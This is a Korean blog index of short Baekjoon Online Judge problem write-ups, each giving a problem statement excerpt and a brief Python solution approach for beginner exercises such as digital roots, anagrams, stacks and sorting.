백준 온라인 저지 15781번 헬멧과 조끼https://www.acmicpc.net/problem/15781문제배틀그라운드라는 게임에서는 머리와 몸을 보호하기 위해 헬멧과 조끼를 입는다. 맵에는 다양한 헬멧과 조끼가 있으며 각각 방어력을 갖고 있다. 또한 최대 1개의 헬멧과 조끼밖에 입지 못한다. 경수는 배틀그라운드에서 승리하고 싶기 때문에 시간이 걸리더라도 최고의 헬멧과 조끼를 주워서 최대의 방어력을 얻고 싶어한다.맵에 존재하는 조끼와 헬멧의 방어력이 주어졌을 때 경수를 도와 경수가 얻을 수 있는 방어력의 최댓값을 구해주자.입력의 첫째 줄에 맵에 존재하는 헬멧의 개수 N(N은 1000이하의 자연수)과 조끼의 개수 M(M은 1000이하의 자연수)이.......

[백준/BOJ] 6378번 디지털 루트 [내부링크]

백준 온라인 저지 6378번 디지털 루트https://www.acmicpc.net/problem/6378문제양의 정수 N의 디지털 루트를 구하려면 N을 이루고 있는 모든 자리수를 더해야 한다. 이때, 더한 값이 한 자리 숫자라면, 그 수가 N의 디지털 루트가 된다. 두 자리 이상 숫자인 경우에는 다시 그 수를 이루고 있는 모든 자리수를 더해야 하며, 한 자리 숫자가 될 때 까지 반복한다.24의 디지털 루트를 구해보자. 2+4&#x3D;6이다. 6은 한 자리 숫자이기 때문에, 24의 디지털 루트는 6이 된다. 39의 경우에는 3+9&#x3D;12이기 때문에, 한 번 더 더해야 한다. 따라서, 1+2&#x3D;3이 디지털 루트가 된다.양의 정수 N이 주어졌을 때, 그 수의 디지털 루트를 구하는.......

[백준/BOJ] 5218번 알파벳 개수 [내부링크]

백준 온라인 저지 5218번 알파벳 개수https://www.acmicpc.net/problem/5218문제길이가 같은 두 단어가 주어졌을 때, 각 단어에 포함된 모든 글자의 알파벳 거리를 구하는 프로그램을 작성하시오.두 글자 x와 y 사이의 알파벳 거리를 구하려면, 먼저 각 알파벳에 숫자를 할당해야 한다. &#x27;A&#x27;&#x3D;1, &#x27;B&#x27; &#x3D; 2, ..., &#x27;Z&#x27; &#x3D; 26. 그 다음 y ≥ x인 경우에는 y-x, y &#60; x인 경우에는 (y+26) - x가 알파벳 거리가 된다.예를 들어, &#x27;B&#x27;와 &#x27;D&#x27; 사이의 거리는 4 - 2 &#x3D; 2이고, &#x27;D&#x27;와 &#x27;B&#x27; 사이의 거리는 (2+26) - 4 &#x3D; 24이다.풀이- 아스키 코드로 알.......

[백준/BOJ] 1919번 애너그램 만들기 [내부링크]

백준 온라인 저지 1919번 애너그램 만들기https://www.acmicpc.net/problem/1919문제두 영어 단어가 철자의 순서를 뒤바꾸어 같아질 수 있을 때, 그러한 두 단어를 서로 애너그램 관계에 있다고 한다. 예를 들면 occurs 라는 영어 단어와 succor 는 서로 애너그램 관계에 있는데, occurs의 각 문자들의 순서를 잘 바꾸면 succor이 되기 때문이다.한 편, dared와 bread는 서로 애너그램 관계에 있지 않다. 하지만 dared에서 맨 앞의 d를 제거하고, bread에서 제일 앞의 b를 제거하면, ared와 read라는 서로 애너그램 관계에 있는 단어가 남게 된다.두 개의 영어 단어가 주어졌을 때, 두 단어가 서로 애너그램 관계에 있도록 만들기 위해서 제.......

[백준/BOJ] 2857번 FBI [내부링크]

백준 온라인 저지 2857번 FBIhttps://www.acmicpc.net/problem/2857문제5명의 요원 중 FBI 요원을 찾는 프로그램을 작성하시오.FBI요원은 요원의 첩보원명에 FBI가 들어있다. 첫째 줄에 FBI 요원을 출력한다. 이때, 해당하는 요원이 몇 번째 입력인지를 공백으로 구분하여 출력해야 하며, 오름차순으로 출력해야 한다. 만약 FBI 요원이 없다면 &#34;HE GOT AWAY!&#34;를 출력한다.풀이문자열에서 count(&#x27;FBI&#x27;) &#62; 0 인것들 순서(index+1)만 뽑아서 출력하면 된다.

[백준/BOJ] 1100번 하얀 칸 [내부링크]

백준 온라인 저지 1100번 하얀 칸https://www.acmicpc.net/problem/1100문제체스판은 8*8크기이고, 검정 칸과 하얀 칸이 번갈아가면서 색칠되어 있다. 가장 왼쪽 위칸 (0,0)은 하얀색이다. 체스판의 상태가 주어졌을 때, 하얀 칸 위에 말이 몇 개 있는지 출력하는 프로그램을 작성하시오.첫째 줄부터 8개의 줄에 체스판의 상태가 주어진다. ‘.’은 빈 칸이고, ‘F’는 위에 말이 있는 칸이다.풀이체스판은 8 X 8 크기이다.맨 위 맨 왼쪽을 (0, 0) 흰 칸이라고 주어질 때 전체적인 체스판의 모습이 그려진다.알고리즘은 간단하다. 흰 칸에 &#x27;F&#x27;가 있는가 ? 를 확인하고 있으면 카운팅 하면 된다.첫 번째 줄은 흰 칸이 0 2 4 6.......

[백준/BOJ] 1373번 2진수 8진수 [내부링크]

백준 온라인 저지 1373번 2진수 8진수https://www.acmicpc.net/problem/1373문제2진수가 주어졌을 때, 8진수로 변환하는 프로그램을 작성하시오.풀이2진수를 8진수로 변환하기 위해서는ex) 11001100 -&#62; 11 001 100 으로 오른쪽부터 3개씩 끊어서 읽으면 된다.맨 앞자리가 0인 경우 생략되어 나오기 때문에 rjust() 함수로 부족한 공간마다 0을 채워주고 맨 오른쪽 인덱스부터 3글자씩 읽어 리스트에 append 하고, 뒤집은 다음 출력하였다.

[백준/BOJ] 4999번 아! [내부링크]

백준 온라인 저지 4999번 아!https://www.acmicpc.net/problem/4999문제재환이는 저스틴 비버 콘서트에서 소리를 너무 많이 질러서 인후염에 걸렸다.의사는 재환이에게 &#34;aaah&#34;를 말해보라고 시켰다. 안타깝게도 재환이는 의사가 원하는만큼 소리를 길게 낼 수 없는 경우가 있었다.각각의 의사는 재환이에게 특정한 길이의 &#34;aah&#34;를 말해보라고 요청한다. 어떤 의사는 &#34;aaaaaah&#34;를 요구하기도 하고, &#34;h&#34;만 요구하는 의사도 있다.모든 의사는 자신이 원하는 길이의 &#34;aah&#34;를 듣지 못하면 진단을 내릴 수 없다.따라서, 재환이는 집에서 자신이 얼마나 길게 &#34;aah&#34;를 낼 수 있는지 알.......

[백준/BOJ] 15947번 아기 석환 뚜루루 뚜루 [내부링크]

백준 온라인 저지 15947번 아기 석환 뚜루루 뚜루https://www.acmicpc.net/problem/15947문제석환이는 오늘 낮에 커피를 마셔서 잠에 들지 못하고 있다. 이불 속에서 너무 심심한 나머지 “아기 석환” 노래를 잠에 들 때까지 부르려고 한다. 석환이는 UCPC 2018 출제진 중의 한 명인 석환(seokhwan)이랑은 달리, 자신의 이름을 sukhwan이라고 쓴다. 노래가 끝나면 다시 처음부터 부른다. 아기 석환 노래는 아래와 같다.baby sukhwan tururu turuvery cute tururu turuin bed tururu turubaby sukhwan하지만 석환이는 계속 노래를 똑같이 부르기는 심심해서, 노래가 한 번 끝날 때마다 “tururu”와 “turu”에 “ru”를 한 번씩 더 추가해서.......

[백준/BOJ] 4101번 크냐? [내부링크]

백준 온라인 저지 4101번 크냐?https://www.acmicpc.net/problem/4101문제두 양의 정수가 주어졌을 때, 첫 번째 수가 두 번째 수보다 큰지 구하는 프로그램을 작성하시오.각 테스트 케이스마다, 첫 번째 수가 두 번째 수보다 크면 Yes를, 아니면 No를 한 줄에 하나씩 출력한다.풀이문제 자체가 쉽기 때문에 유의할 점이 있다면, 테스트 케이스가 한 줄 입력될 때마다 결과 값(Yes, No) 문자열이 출력되야 한다는 점과 다른 사람들의 경우에는 문제를 똑바로 읽지 않아 YES, NO로 시도하고 틀려서 이유를 모르는 사람도 있었다.처음에 입력 받은 문자열을 str 타입으로 대 소 비교를하는 미친 실수를 해버렸다. 그래서 형변환으로 int.......

[백준/BOJ] 3009번 네 번째 점 [내부링크]

백준 온라인 저지 3009번 네 번째 점https://www.acmicpc.net/problem/3009문제세 점이 주어졌을 때, 축에 평행한 직사각형을 만들기 위해서 필요한 네 번째 점을 찾는 프로그램을 작성하시오.세 점의 좌표가 한 줄에 하나씩 주어진다. 좌표는 1보다 크거나 같고, 1000보다 작거나 같은 정수이다.풀이30 2010 1010 20이라는 예제 입력이 주어진다. 직사각형을 이루기 위해서는 네 번째 점의 좌표가 30 10 이라는 것을 알 수 있다.좌표를 그려 보면 알겠지만, x, y 좌표는 동일한 좌표가 2 쌍씩 존재해야 직사각형을 이룰 수 있다.50 2015 2050 10이라면, 네 번째 점의 좌표는 15 10 이다.입력 받은 좌표를 x 값과 y 값으로 분할해 1개.......

[백준/BOJ] 1475번 방 번호 [내부링크]

백준 온라인 저지 1475번 방 번호https://www.acmicpc.net/problem/1475문제다솜이는 은진이의 옆집에 새로 이사왔다. 다솜이는 자기 방 번호를 예쁜 플라스틱 숫자로 문에 붙이려고 한다.다솜이의 옆집에서는 플라스틱 숫자를 한 세트로 판다. 한 세트에는 0번부터 9번까지 숫자가 하나씩 들어있다. 다솜이의 방 번호가 주어졌을 때, 필요한 세트의 개수의 최솟값을 출력하시오. (6은 9를 뒤집어서 이용할 수 있고, 9는 6을 뒤집어서 이용할 수 있다.)풀이1 2 3 4 5 7 8 0 의 숫자들은 제일 많이 등장하는 수가 세트의 최솟값이 된다. (6과 9처럼 한 세트내에서 대체되는 수가 없기 때문)그래서 1 2 3 4 5 7 8 0 의 숫자들은 등장하는.......

[백준/BOJ] 10808번 알파벳 개수 [내부링크]

백준 온라인 저지 10808번 알파벳 개수https://www.acmicpc.net/problem/10808문제알파벳 소문자로만 이루어진 단어 S가 주어진다. 각 알파벳이 단어에 몇 개가 포함되어 있는지 구하는 프로그램을 작성하시오.단어에 포함되어 있는 a의 개수, b의 개수, …, z의 개수를 공백으로 구분해서 출력한다.풀이알파벳 개수 만큼의 0으로 초기화 된 리스트를 선언하고 해당 알파벳이 등장할 때마다 카운팅을 한다. (아스키 코드를 이용)

[백준/BOJ] 1316번 그룹 단어 체커 [내부링크]

백준 온라인 저지 1316번 그룹 단어 체커https://www.acmicpc.net/problem/1316문제그룹 단어란 단어에 존재하는 모든 문자에 대해서, 각 문자가 연속해서 나타나는 경우만을 말한다. 예를 들면, ccazzzzbb는 c, a, z, b가 모두 연속해서 나타나고, kin도 k, i, n이 연속해서 나타나기 때문에 그룹 단어이지만, aabbbccb는 b가 떨어져서 나타나기 때문에 그룹 단어가 아니다.단어 N개를 입력으로 받아 그룹 단어의 개수를 출력하는 프로그램을 작성하시오.첫째 줄에 그룹 단어의 개수를 출력한다.풀이그룹 단어 판별하는 법- lst &#x3D; [0] * 26 으로 알파벳 개수 만큼 리스트를 만든다. lst[0] &#x3D; &#x27;a&#x27;, lst[25] &#x3.......

[백준/BOJ] 1157번 단어 공부 [내부링크]

백준 온라인 저지 1157번 단어 공부https://www.acmicpc.net/problem/1157문제알파벳 대소문자로 된 단어가 주어지면, 이 단어에서 가장 많이 사용된 알파벳이 무엇인지 알아내는 프로그램을 작성하시오. 단, 대문자와 소문자를 구분하지 않는다.첫째 줄에 이 단어에서 가장 많이 사용된 알파벳을 대문자로 출력한다. 단, 가장 많이 사용된 알파벳이 여러 개 존재하는 경우에는 ?를 출력한다.풀이시간 제한이 2초로 넉넉한 편이지만, 문자열에 대한 중복 문제를 해결하지 못하면 시간 초과로 풀 수 없었다.ex) Mississipi 의 경우,a.count(&#x27;M&#x27;)a.count(&#x27;i&#x27;)a.count(&#x27;s&#x27;)a.count(&#x27;s&#x27;)... 이.......

[백준/BOJ] 1026번 보물 [내부링크]

백준 온라인 저지 1026번 보물https://www.acmicpc.net/problem/1026문제옛날 옛적에 수학이 항상 큰 골칫거리였던 나라가 있었다. 이 나라의 국왕 김지민은 다음과 같은 문제를 내고 큰 상금을 걸었다.길이가 N인 정수 배열 A와 B가 있다. 다음과 같이 함수 S를 정의하자.S &#x3D; A[0]*B[0] + ... + A[N-1]*B[N-1]S의 값을 가장 작게 만들기 위해 A의 수를 재배열하자. 단, B에 있는 수는 재배열하면 안 된다.S의 최솟값을 출력하는 프로그램을 작성하시오.풀이S의 최솟값을 구하려면 두 배열이 어떤 조건일 때 가능할까 ?예제 입력 1로 예시를 들어 보면,0 1 1 1 6 0 1 1 1 6 1 1 0 6 11 2 3 7 8 &#x3D; 60(오름/오름) 8 7 3 2 1 .......

[백준/BOJ] 1427번 소트인사이드 [내부링크]

백준 온라인 저지 1427번 소트인사이드https://www.acmicpc.net/problem/1427문제배열을 정렬하는 것은 쉽다. 수가 주어지면, 그 수의 각 자리수를 내림차순으로 정렬해보자.풀이각 자리수 하나하나 리스트로 입력 받아 reverse&#x3D;True 내림차순으로 정렬하고 리스트를 출력하였다.

[백준/BOJ] 8741번 이진수 합 [내부링크]

백준 온라인 저지 8741번 이진수 합https://www.acmicpc.net/problem/8741문제세계적인 이진수 매니아 현수는 오늘도 이진수를 연구하고 있다.오늘은 이진수로 나타냈을 때, k자리 이하인 모든 자연수의 합을 구해보려고 한다.k가 주어졌을 때, 이진수로 나타냈을 때, k자리 이하인 모든 자연수의 합을 구하는 프로그램을 작성하시오.첫째 줄에 이진수로 나타냈을 때, k자리 이하인 모든 자연수의 합을 이진수로 출력한다.풀이시간 제한이 짧다. 이런 문제는 반복문을 무수히 돌리는 것 보다 일반화 된 공식을 하나 찾는게 빠르다.연속된 자연수의 덧셈 공식 &#x3D; 첫 항 + 마지막 항 * 개수 / 2표와 공식을 이용하면 쉽게 규칙을 찾.......

[백준/BOJ] 15098번 No Duplicates [내부링크]

백준 온라인 저지 15098번 No Duplicateshttps://www.acmicpc.net/problem/15098문제There is a game in which you try not to repeat a word while your opponent tries to see if you have repeated one.&#34;THE RAIN IN SPAIN&#34; has no repeats.&#34;IN THE RAIN AND THE SNOW&#34; repeats THE.&#34;THE RAIN IN SPAIN IN THE PLAIN&#34; repeats THE and IN.Write a program to test a phrase.The output is &#34;yes&#34; if no word is repeated, and &#34;no&#34; if one or more words repeat.풀이문제가 번역이 안 되어 있는데, 간단히 말하자면 입력으로 주어지는 문장에중복되는 단어가 없을 경우 &#34;yes&q.......

[백준/BOJ] 10984번 내 학점을 구해줘 [내부링크]

백준 온라인 저지 10984번 내 학점을 구해줘https://www.acmicpc.net/problem/10984문제게으른 근우는 열심히 놀다가 문득, 자신의 학점 평균이 얼마일지 궁금해졌다. 학사시스템도 들어가기 귀찮아하는 근우를 위해 구해주도록 하자. 첫 번째 줄에 학기의 수 T가 주어진다. 두 번째 줄부터 T개 학기에 대한 정보가 주어진다.각 학기에 대한 정보는 다음과 같이 구성되어 있다. 첫 번째 줄에 들었던 과목의 수 N이 주어지고, 다음 N개 줄에 걸쳐서 N개 과목들의 학점 C와 성적 G가 주어진다. (1 ≤ N ≤ 10, 1 ≤ C ≤ 6의 정수) G는 {0, 0.7, 1, 1.3, 1.7, 2, 2.3, 2.7, 3, 3.3, 3.7, 4, 4.3} 중 하나이며 소수 부분은 최대 한 자리까지 주.......

[백준/BOJ] 2851번 슈퍼 마리오 [내부링크]

백준 온라인 저지 2851번 슈퍼 마리오https://www.acmicpc.net/problem/2851문제슈퍼 마리오 앞에 10개의 버섯이 일렬로 놓여져 있다. 이 버섯을 먹으면 점수를 받는다.슈퍼 마리오는 버섯을 처음부터 나온 순서대로 집으려고 한다. 하지만, 모든 버섯을 집을 필요는 없고 중간에 중단할 수 있다.중간에 버섯을 먹는 것을 중단했다면, 그 이후에 나온 버섯은 모두 먹을 수 없다. 따라서 첫 버섯을 먹지 않았다면, 그 이후 버섯도 모두 먹을 수 없다.마리오는 받은 점수의 합을 최대한 100에 가깝게 만들려고 한다.버섯의 점수가 주어졌을 때, 마리오가 받는 점수를 출력하는 프로그램을 작성하시오.총 10개의 줄에 각각의 버섯의 점수가 주.......

[백준/BOJ] 10824번 네 수 [내부링크]

백준 온라인 저지 10824번 네 수https://www.acmicpc.net/problem/10824문제네 자연수 A, B, C, D가 주어진다. 이때, A와 B를 붙인 수와 C와 D를 붙인 수의 합을 구하는 프로그램을 작성하시오.두 수 A와 B를 합치는 것은 A의 뒤에 B를 붙이는 것을 의미한다. 즉, 20과 30을 붙이면 2030이 된다.풀이ex) 10 20 30 40문자열로 입력 받아 리스트에 넣은 다음, 문자열 합치기 후 정수 형변환 더하기

[백준/BOJ] 10707번 수도 요금 [내부링크]

백준 온라인 저지 10707번 수도 요금https://www.acmicpc.net/problem/10707문제JOI군이 살고 있는 지역에는 X사와 Y사, 두 개의 수도회사가 있다. 두 회사의 수도요금은 한 달간 수도의 사용량에 따라 다음과 같이 정해진다.X사 : 1리터당 A엔.Y사 : 기본요금은 B엔이고, 사용량이 C리터 이하라면 요금은 기본요금만 청구된다. 사용량이 C리터가 넘었을 경우 기본요금 B엔에 더해서 추가요금이 붙는다. 추가요금은 사용량이 C리터를 넘었을 경우 1리터를 넘었을 때마다 D엔이다.JOI군의 집에서 한 달간 쓰는 수도의 양은 P리터이다.수도요금이 최대한 싸게 되도록 수도회사를 고를 때, JOI군의 집의 1달간 수도요금을 구하여라.입력은 5줄.......

[백준/BOJ] 2935번 소음 [내부링크]

백준 온라인 저지 2935번 소음https://www.acmicpc.net/problem/2935문제수업 시간에 떠드는 두 학생이 있다. 두 학생은 수업에 집중하는 대신에 글로벌 경제 위기에 대해서 토론하고 있었다. 토론이 점점 과열되면서 두 학생은 목소리를 높였고, 결국 선생님은 크게 분노하였다.이렇게 학생들이 수업 시간에 떠드는 문제는 어떻게 해결해야 할까?얼마전에 초등학교 선생님으로 취직한 상근이는 이 문제를 수학 문제로 해결한다. 학생들을 진정시키기 위해 칠판에 수학 문제를 써주고, 아이들에게 조용히 이 문제를 풀게 한다. 학생들이 문제를 금방 풀고 다시 떠드는 것을 방지하기 위해서, 숫자를 매우 크게 한다.아직 초등학교이기 때문에.......

[백준/BOJ] 12790번 Mini Fantasy War [내부링크]

백준 온라인 저지 12790번 Mini Fantasy Warhttps://www.acmicpc.net/problem/12790문제넥슨지티에서는 최근 SRPG &#34;슈퍼 판타지 워&#34;의 후속작으로 &#34;미니 판타지 워&#34;를 출시하였다. 전편과 마찬가지로, 미니 판타지 워에서도 각 캐릭터의 전투력을 계산하여야 한다. 각 캐릭터의 전투력은 단순히 각 캐릭터의 능력치의 가중 합으로 계산된다. 전투력 계산은 굉장히 간단한 로직이지만 게임 곳곳에 쓰이는 만큼, Being은 다른 프로그래머로 하여금 이 로직을 구현하여 자신의 것과 교차검증하고자 한다. 그리하여 당신은 이 전투력을 구현하는 작업을 맡게 되었다.능력치는 모두 네 종류 존재한다. 이는 각각 HP, MP, 공격.......

[백준/BOJ] 10828번 스택 [내부링크]

백준 온라인 저지 10828번 스택https://www.acmicpc.net/problem/10828문제정수를 저장하는 스택을 구현한 다음, 입력으로 주어지는 명령을 처리하는 프로그램을 작성하시오.명령은 총 다섯 가지이다.push X: 정수 X를 스택에 넣는 연산이다.pop: 스택에서 가장 위에 있는 정수를 빼고, 그 수를 출력한다. 만약 스택에 들어있는 정수가 없는 경우에는 -1을 출력한다.size: 스택에 들어있는 정수의 개수를 출력한다.empty: 스택이 비어있으면 1, 아니면 0을 출력한다.top: 스택의 가장 위에 있는 정수를 출력한다. 만약 스택에 들어있는 정수가 없는 경우에는 -1을 출력한다.풀이이번 문제는 input() 으로 입력 받으면 대부분의 경우 시간.......

[백준/BOJ] 1159번 농구 경기 [내부링크]

백준 온라인 저지 1159번 농구 경기https://www.acmicpc.net/problem/1159문제상근이는 농구의 세계에서 점차 영향력을 넓혀가고 있다. 처음에 그는 농구 경기를 좋아하는 사람이었다. 농구에 대한 열정은 그를 막을 수 없었고, 결국 상근이는 농구장을 청소하는 일을 시작했다. 상근이도 농구장을 청소하면서 감독이 되기 위해 가져야할 능력을 공부해나갔다. 서당개 3년이면 풍월을 읊듯이 상근이는 점점 감독으로 한 걸음 다가가고 있었다. 어느 날 그에게 지방의 한 프로농구팀을 감독할 기회가 생기게 되었다. 그는 엄청난 지도력을 보여주며 프로 리그에서 우승을 했고, 이제 국가대표팀의 감독이 되었다.내일은 일본과 국가대표 친선.......

[백준/BOJ] 2822번 점수 계산 [내부링크]

백준 온라인 저지 2822번 점수 계산https://www.acmicpc.net/problem/2822문제상근이는 퀴즈쇼의 PD이다. 이 퀴즈쇼의 참가자는 총 8개 문제를 푼다. 참가자는 각 문제를 풀고, 그 문제를 풀었을 때 얻는 점수는 문제를 풀기 시작한 시간부터 경과한 시간과 난이도로 결정한다. 문제를 풀지 못한 경우에는 0점을 받는다. 참가자의 총 점수는 가장 높은 점수 5개의 합이다. 상근이는 잠시 여자친구와 전화 통화를 하느라 참가자의 점수를 계산하지 않고 있었다. 참가자의 8개 문제 점수가 주어졌을 때, 총 점수를 구하는 프로그램을 작성하시오.8개 줄에 걸쳐서 각 문제에 대한 참가자의 점수가 주어진다. 점수는 0보다 크거나 같고, 150보.......

[백준/BOJ] 1748번 수 이어 쓰기 1 [내부링크]

백준 온라인 저지 1748번 수 이어 쓰기 1https://www.acmicpc.net/problem/1748문제1부터 N까지의 수를 이어서 쓰면 다음과 같이 새로운 하나의 수를 얻을 수 있다.1234567891011121314151617181920212223...이렇게 만들어진 새로운 수는 몇 자리 수일까? 이 수의 자릿수를 구하는 프로그램을 작성하시오.첫째 줄에 N(1≤N≤100,000,000)이 주어진다.풀이- 시간 제한이 없다면 반복문을 통해 순서대로 쭉 출력한다음 len()을 통해 길이를 구해도 된다.그러나 그런 방식으로 풀게 된다면 답은 맞아도 시간 초과 메시지를 보게 될 것이다.그래서 다른 방법을 떠올렸다.ex) 797 이라는 수를 예시로 든다.797은 세 자리수 이므로 세 자.......

[백준/BOJ] 1789번 수들의 합 [내부링크]

백준 온라인 저지 1789번 수들의 합https://www.acmicpc.net/problem/1789문제서로 다른 N개의 자연수의 합이 S라고 한다. S를 알 때, 자연수 N의 최댓값은 얼마일까?첫째 줄에 자연수 S(1 ≤ S ≤ 4,294,967,295)가 주어진다.풀이몇 개 해보면 알 수 있다. 개수의 최댓값을 구하기 위해 1부터 더해본다.ex) S &#x3D; 27, 1+2+3+4+5+6 &#x3D; 21 그 다음수 7을 더하면 28이므로 6을 13으로 바꿔 1, 2, 3, 4, 5, 13 총 6개가 최댓값이다.ex) S &#x3D; 11, 1+2+3+4 &#x3D; 10 그 다음수 5를 더하면 15이므로 4를 5로 바꿔 1, 2, 3, 5 총 4개가 최댓값이다.여기서 말하고자 하는 것은 S 값보다 작을 때까지 1부터 순서대로 더한다. 그리.......

[백준/BOJ] 1764번 듣보잡 [내부링크]

백준 온라인 저지 1764번 듣보잡https://www.acmicpc.net/problem/1764문제김진영이 듣도 못한 사람의 명단과, 보도 못한 사람의 명단이 주어질 때, 듣도 보도 못한 사람의 명단을 구하는 프로그램을 작성하시오.첫째 줄에 듣도 못한 사람의 수 N, 보도 못한 사람의 수 M이 주어진다. 이어서 둘째 줄부터 N개의 줄에 걸쳐 듣도 못한 사람의 이름과, N+2째 줄부터 보도 못한 사람의 이름이 순서대로 주어진다. 이름은 띄어쓰기 없이 영어 소문자로만 이루어지며, 그 길이는 20 이하이다. N, M은 500,000 이하의 자연수이다.풀이집합의 개념을 도입하면 리스트로 처리하는 것 보다 간단할거 같아서 그렇게 했다.듣도 못한 사람의 집합, 보.......

[백준/BOJ] 10798번 세로 읽기 [내부링크]

백준 온라인 저지 10798번 세로 읽기https://www.acmicpc.net/problem/10798문제아직 글을 모르는 영석이가 벽에 걸린 칠판에 자석이 붙어있는 글자들을 붙이는 장난감을 가지고 놀고 있다. 이 장난감에 있는 글자들은 영어 대문자 ‘A’부터 ‘Z’, 영어 소문자 ‘a’부터 ‘z’, 숫자 ‘0’부터 ‘9’이다. 영석이는 칠판에 글자들을 수평으로 일렬로 붙여서 단어를 만든다. 다시 그 아래쪽에 글자들을 붙여서 또 다른 단어를 만든다. 이런 식으로 다섯 개의 단어를 만든다. 아래 그림 1은 영석이가 칠판에 붙여 만든 단어들의 예이다. &#60;그림 1&#62;한 줄의 단어는 글자들을 빈칸 없이 연속으로 나열해서 최대 15개의 글자들로 이루어진.......

[백준/BOJ] 18245번 이상한 나라의 암호 [내부링크]

백준 온라인 저지 18245번 이상한 나라의 암호https://www.acmicpc.net/problem/18245문제소설을 좋아하는 하영이는 평소와 같이 이상한 나라의 앨리스라는 소설을 읽고 있었다.책을 읽던 하영이는 정신이 멍해지더니 갑자기 자신이 이상한 나라에 떨어져 있다는 것을 깨닫게 되었다!이상한 나라에서 길을 헤매던 하영이는 이상한 나라의 트럼프 병사들을 만나게 되었다.하트 여왕의 부하인 트럼프 병사들은 하영이에게 자신들이 말하는 암호 문장을 제대로 해석하여 맞추면 살려주고, 하나라도 틀린다면 하트 여왕의 명령에 따라 처형하겠다고 말한다!하영이는 이 길고 많은 줄로 이루어진 문장을 어떻게 해석해야 할지 고민하던 중, 풀숲 속.......

[백준/BOJ] 5339번 콜센터 [내부링크]

백준 온라인 저지 5339번 콜센터https://www.acmicpc.net/problem/5339문제스타워즈에 등장하는 로봇인 C3PO는 요즘 콜센터에 근무하고 있다. 콜센터에 앉아있는 C3PO를 그리는 프로그램을 작성하시오.풀이여러 줄의 문자열을 출력하기 위해서 &#x27;&#x27;&#x27; &#x27;&#x27;&#x27; 사용하고, \(역슬래시) 문자가 문자열 안에서 문자로 취급되기 위해서는 \(역슬래시)를 이스케이프 문자로 하나 더 사용해야한다.

[백준/BOJ] 1924번 2007년 [내부링크]

백준 온라인 저지 1924번 2007년https://www.acmicpc.net/problem/1924문제오늘은 2007년 1월 1일 월요일이다. 그렇다면 2007년 x월 y일은 무슨 요일일까? 이를 알아내는 프로그램을 작성하시오.풀이최근 가끔씩 백준 온라인 저지에서 제출할 때 &#34;시간초과&#34; 라는 메시지를 종종 받았는데 import sysa &#x3D; input() &#x3D;&#62; a &#x3D; sys.stdin.readline().rstrip()그와 같은 이유로 input() 대신 입출력 속도가 빠른 sys.stdin.readline() 을 사용하기로 했다. 또한 많은 사람들이 후자를 사용하라고 추천했다.문제 풀이 방향은 입력 받은 월, 일을 일로만 표기하는 방법으로 바꿨다. (ex. 1월 14일 &#x3D;&#62; 14일.......

[백준/BOJ] 2750번 수 정렬하기 [내부링크]

백준 온라인 저지 2750번 수 정렬하기https://www.acmicpc.net/problem/2750문제N개의 수가 주어졌을 때, 이를 오름차순으로 정렬하는 프로그램을 작성하시오.풀이리스트 안의 요소들을 int형으로 변환 후 sort(), str 형으로 변환 후 한 줄씩 띄어 출력

[백준/BOJ] 10205번 헤라클레스와 히드라 [내부링크]

백준 온라인 저지 10205번 헤라클레스와 히드라https://www.acmicpc.net/problem/10205문제헤라클레스는 그리스 신화의 유명한 비극적인 영웅이다. 그는 제우스의 사생아로 태어났는데, 이때문에 제우스의 아내 헤라는 그를 매우 싫어했다. 그는 매우 강한 힘과 높은 지식을 가졌지만, 동시에 자신의 아이들이나, 그의 많은 스승들, 연인들 등을 스스로 죽이는 광기도 함께 가졌다. 그는 그의 아이들을 죽인 죄로, 에우리스테우스 왕이 내린 12가지의 과업을 수행해야 했던 인물로 잘 알려져 있다.그 과업 중 두 번째는 바로 거대하고, 여러 개의 머리를 가진 히드라를 죽이라는 것이었다. 그런데 이 히드라는 헤라가 헤라클레스를 죽이려는.......

[백준/BOJ] 1357번 뒤집힌 덧셈 [내부링크]

백준 온라인 저지 1357번 뒤집힌 덧셈https://www.acmicpc.net/problem/1357문제어떤 수 X가 주어졌을 때, X의 모든 자리수가 역순이 된 수를 얻을 수 있다. Rev(X)를 X의 모든 자리수를 역순으로 만드는 함수라고 하자. 예를 들어, X&#x3D;123일 때, Rev(X) &#x3D; 321이다. 그리고, X&#x3D;100일 때, Rev(X) &#x3D; 1이다.두 양의 정수 X와 Y가 주어졌을 때, Rev(Rev(X) + Rev(Y))를 구하는 프로그램을 작성하시오풀이Rev() 함수를 만들고 풀면 아마 더 간단한 코드가 나오긴 하는데 의식의 흐름대로 막 코딩했다. 보면 매우 지저분하다.list의 reverse() 함수를 쓰기위해 리스트에 넣고 문자열을 쪼개고 int 형 변환, str 형 변환이 이.......

[백준/BOJ] 10699번 오늘 날짜 [내부링크]

백준 온라인 저지 10699번 오늘 날짜https://www.acmicpc.net/problem/10699문제서울의 오늘 날짜를 출력하는 프로그램을 작성하시오.서울의 오늘 날짜를 &#34;YYYY-MM-DD&#34; 형식으로 출력한다.풀이문제가 재밌는게 있다. 지난번에 비슷한 문제를 풀어서 단순히 년, 월, 일만 출력하려고 했는데 &#34;틀렸습니다&#34; 라는 메시지를 마주했다.1월이면 01월로 출력을 해야하기 때문에 그냥 출력하면 2020-1-20 으로 답이 틀렸다고 나온다.그래서 zfill() 함수를 통해 1 ~ 9월은 앞에 0 하나를 붙여 출력하도록 해야 한다.10, 11, 12월에 이 문제를 풀 때는 저 조건식이 필요가 없다.

[백준/BOJ] 11721번 열 개씩 끊어 출력하기 [내부링크]

백준 온라인 저지 11721번 열 개씩 끊어 출력하기https://www.acmicpc.net/problem/11721문제알파벳 소문자와 대문자로만 이루어진 길이가 N인 단어가 주어진다.한 줄에 10글자씩 끊어서 출력하는 프로그램을 작성하시오.풀이cnt 변수로 1문자 출력할 때 마다 카운트를 세고, 만약 카운트가 10 인 경우 cnt를 초기화, 개행 문자를 출력 했다.

[백준/BOJ] 10757번 큰 수 A+B [내부링크]

백준 온라인 저지 10757번 큰 수 A+Bhttps://www.acmicpc.net/problem/10757문제A+B를 계산하시오.첫째 줄에 A와 B가 주어진다. (0 &#60; A,B &#60; 1010000)풀이C, C++.. 등의 언어에서는 큰 정수를 구현할 때 정수형 크기에 제한이 걸린다. 대체로 그러한 언어들에서는 바이트 단위로 1, 2, 4, 8byte 정도의 정수형들을 사용할 수 있고, 때때로 언어나 컴파일러에 따라 16바이트 정수형이 제공되는 경우도 있다.그러나, Python 에서는 큰 정수라는 개념 자체가 없다. 기본적인 정수형 int 자체가 큰 정수형이기 때문이다. 언어 자체가 편리함과 명료성에 초점을 둔 언어이기 때문에 정수형 연산에서 오버플로우와 같은 문제에 대한 걱.......

